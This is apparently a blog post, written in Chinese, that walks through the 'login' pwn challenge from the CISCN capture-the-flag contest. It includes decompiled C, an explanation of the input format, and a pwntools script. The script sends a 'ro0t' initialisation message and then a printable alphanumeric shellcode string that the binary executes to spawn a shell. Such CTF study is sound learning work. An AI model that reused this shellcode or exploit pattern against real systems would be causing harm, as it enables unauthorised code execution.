ciscn login

2023-10-30

这是去年国赛一道签到题 当时没做出来 现在来复现一下

一、查看保护

保护全开

二、逆向分析

main

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
    char s[1032]; // [rsp+0h] [rbp-410h] BYREF
    unsigned __int64 v4; // [rsp+408h] [rbp-8h]

    v4 = __readfsqword(0x28u);
    sub_C0A();
    while ( 1 )
  {
      memset(s, 0, 0x400uLL);
      printf(">>> ");
      read(0, s, 0x3FFuLL);
      sub_FFD(s);
  }
}

观察发现 while(1) 我们程序可以反复输入

sub_FFD(s)

v13 = __readfsqword(0x28u);
  memset(qword_202040, 0, sizeof(qword_202040));
  v8 = 0;
  v7 = 0;
  dest = 0LL;
  while ( !*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10) )
  {
    if ( v8 <= 5 )
      qword_202040[2 * v8] = a1;
    sb = strchr(a1, 58);
    if ( !sb )
    {
      puts("error.");
      exit(1);
    }
    *sb = 0;
    for ( sc = sb + 1; *sc && (*sc == 32 || *sc == 13 || *sc == 10 || *sc == 9); ++sc )
      *sc = 0;
    if ( !*sc )
    {
      puts("abort.");
      exit(2);
    }
    if ( v8 <= 5 )
      qword_202040[2 * v8 + 1] = sc;
    sd = strchr(sc, 10);
    if ( !sd )
    {
      puts("error.");
      exit(3);
    }
    *sd = 0;
    a1 = sd + 1;
    if ( *a1 == 13 )
      *a1++ = 0;
    s1 = qword_202040[2 * v8];
    nptr = qword_202040[2 * v8 + 1];
    if ( !strcasecmp(s1, "opt") )
    {
      if ( v7 )
      {
        puts("error.");
        exit(5);
      }
      v7 = atoi(nptr);
    }
    else
    {
      if ( strcasecmp(s1, "msg") )
      {
        puts("error.");
        exit(4);
      }
      if ( strlen(nptr) <= 1 )
      {
        puts("error.");
        exit(5);
      }
      v9 = strlen(nptr) - 1;
      if ( dest )
      {
        puts("error.");
        exit(5);
      }
      dest = calloc(v9 + 8, 1uLL);
      if ( v9 <= 0 )
      {
        puts("error.");
        exit(5);
      }
      memcpy(dest, nptr, v9);
    }
    ++v8;
  }

主要是会对输入的s(a1)进行一个过滤

只有输入opt:v7\n+msg:dest\n 这种格式的命令才是合法的 否则就会退出

三、利用思路

其实这个程序的漏洞点非常简单

当v7为2时 我们会跳转到这个函数

程序会将我们写入dest的内容当作shellcode执行,因此我们需要传入可视字符串的shellcode

在进入这个if语句前,我们需要将unk_202028和unk_202024都设置为1才行

简单的是,当v7为1时 只要a1(也就是dest)为ro0t的时候,函数进行了初始化

这样我们大体的利用思路就出现了:

通过构造opt:v7\n+msg:dest\n的shellcode

  1. 第一步 将v7设置为1 dest设置为ro0t 将数据进行初始化

  1. 第二部 将v7设置为2 dest设置为我们已经准备好的shellcode

需要注意的地方:

  1. 由于从nptr复制到dest的时候传输的字节数是nptr的长度减1,因此需要多传一个无用的字节

  1. shellcode应该是可视字符shellcode

四、wp

from pwn import *

context.log_level='debug'

p=process('./login')

shellcode='Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
payload1='opt:1\n'+'msg:ro0t\r\n'   
payload2='opt:2\n'+'msg:'+shellcode+'\r\n'

p.sendlineafter('>>> ',payload1)
p.sendlineafter('>>> ',payload2)

p.interactive()
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ciscn login 的相关文章

随机推荐

  • 期货交易一个品种好(期货买几个品种好)

    期货新手该做哪个品种 期货新手品种选择 看风险承受能力 风险承受能力较低 建议只交易豆 豆粕 玉米 强麦 籼稻等品种 风险承受能力中等 建议在以上基础上增加白糖 塑料 PTA 豆油 棕榈油 菜籽油 玻璃 螺纹钢 鸡蛋等 风险承受能力较高 那
  • 35岁IT前辈,测试11年,第一次分享面试感悟

    最近几年我一直担任着软件测试面试官的角色 正好过年回来 也差不多金三银四求职季了 所以想写点面试的经验分享给大家 希望能对大家有些帮助 碍于才疏学浅 又是理工出身 字里行间未免词不达意 可能会让大家见笑了 软件测试面试环节 一般求职无非几个
  • java new数组_Java如何使用new创建数组

    java语言使用new操作符来创建数组 语法如下 arrayRefVar new dataType arraySize 上面的语法语句做了两件事 一 使用dataType arraySize 创建了一个数组 二 把新创建的数组的引用赋值给变
  • 零基础入门STM32编程(七)——定时器篇(HAL)

    前情回顾 上一篇讲解了HAL库函数点灯 初步学习了如何使用CUBE MX创建工程文件 以及文末送出了获取HAL库函数API手册方法的小福利 本篇将继续学习HAL库函数中的定时器API使用方法 一 初识定时器 上一篇讲解了使用HAL库函数点灯
  • 浮点数为什么不精确?

    浮点数为什么不精确 其实这句话本身就不精确 相对精确一点的说法是 我们码农在程序里写的10进制小数 计算机内部无法用二进制的小数来精确的表达 什么是二进制的小数 就是形如 101 11 数字 注意 这是二进制的 数字只能是0和1 101 1
  • Excel技巧-动态引用其他Sheet中的内容

    本文讲述了如何根据单元格内容为参数动态引用Excel其他单元格中的内容 这些单元格可能是同一个sheet 也可以是不同的sheet 主要使用了两个函数 Address 用来动态生成单元格地址 Syntax ADDRESS row num c
  • matlab绘制正弦波频谱图,matlab对正弦信号作FFT得到频谱图

    转自 https www cnblogs com alexanderkun p 4723577 html https blog csdn net qq 36024066 article details 89491650 一 FFT物理意义如
  • vue2-vant组件库-van-search获取焦点方法

    vue2 vant组件库 van search获取焦点方法 场景 1 进入搜索页时 搜索输入框自动获取焦点 2 点击历史记录 搜索输入框自动获取焦点 思路 1 通过在van search组件标签通过ref获取输入框的dom元素 2 在进入页
  • python 关于Max retries exceeded with url 的错误

    在爬取boss直聘时出现这种错误 于是搜索了网上很多文章 总结如下 1 http连接太多没有关闭导致的 解决方法 import requests requests adapters DEFAULT RETRIES 5 增加重连次数 s re
  • 基于Arduino实现简单人体红外感应灯(人体红外传感器+LED)

    这是一个使用arduino以及人体红外传感器实现的人体感应灯 详细细节如下 1 实验元件 UNO 实验套装 arduino控制板 USB数据线 面包板 跳线 人体红外传感器1个 led灯1个 电阻 220欧 1个 2 实现连接图 如图 这是
  • 后缀–ize_动词后加ize的后缀有什么作用

    展开全部 动词后加ize的后缀的作用是将原有的动词意思变为使动状态 即使成 状态 使e69da5e6ba903231313335323631343130323136353331333431376632 化 后缀 ize ise含义 来源和词
  • C语言基础入门48篇_21_定义和使用自己的函数(函数结构:输入参数-->实现功能-->返回值,类似数学中函数、参数可以多种、返回值一种类型、函数声明与实现、#include语句本质是复制粘贴)

    定义和使用自己的函数 函数结构可以总结为 输入参数 gt 实现功能 gt 返回值 1 函数的实现的基本语法 返回值类型 函数名称 形参列表 函数体语句 如我们之前所定义的判断数字奇偶的函数 int IsEvenNumber int nNum
  • pandas之删除缺失值dropna()

    import numpy as np import pandas as pd s pd Series 12 33 45 23 np nan np nan 66 54 np nan 99 df pd DataFrame value1 12 3
  • Java必知必会的常用类库

    阅读文本大概需要3分钟 Java是一个开源的世界 如果你不懂的在网上寻找适合的轮子 而是经常避免造成 你将无法再代码的泥潭里解脱出来 但是这也不是一概而论的 初学者需要造轮子的能力 而熟练开发者需要改轮子的能力 精通者需要发现轮子的能力 今
  • 大数据与人工智能的关系,不少于500字

    大数据与人工智能是密切相关的两个领域 大数据指的是海量 高增长率和多样化的数据 它可以来自各种不同的来源 如社交媒体 传感器 互联网 电子商务等 而人工智能则是计算机科学的一个分支 研究如何让计算机模拟或增强人类的智能 大数据和人工智能的关
  • 印刷业MES系统解决方案

    印刷业症结所在 1 不能实时准确的跟踪每一批订单的的生产进度 包括各工序的进度 2 印刷报价混乱 没有一个标准的报价参考 很难确保报价的准确性 3 不能有效控制产品加工的成本 没有电脑辅助计算 或者软件不具有计算工单成本的情况下 在开工单时
  • idea快速实现接口

    1 创建接口 public class TestI int getA 2 实现类 alt enter
  • 新词发现方法,新词发现算法有哪些,热词的发现方法,互联网热词挖掘方法

    1 新词发现方法 1 从大数据中抽取 通过抓取互联网上的海量语料 利用统计模型和自然语言处理技术 挖掘新的高频单词或词组 比如Google的Ngram Viewer 2 基于社交媒体的新词发现 通过分析社交媒体平台上的大量用户互动记录 挖掘
  • UMG主菜单切换到场景中的问题解决

    链接来自UE4官方文档 https docs unrealengine com zh CN Engine UMG HowTo CreateMainMenu index html 只说问题 1 OptionMenu必须成为一个变量 否则没法在
  • ciscn login

    这是去年国赛一道签到题 当时没做出来 现在来复现一下 一 查看保护 保护全开 二 逆向分析 main void fastcall noreturn main int64 a1 char a2 char a3 char s 1032 rsp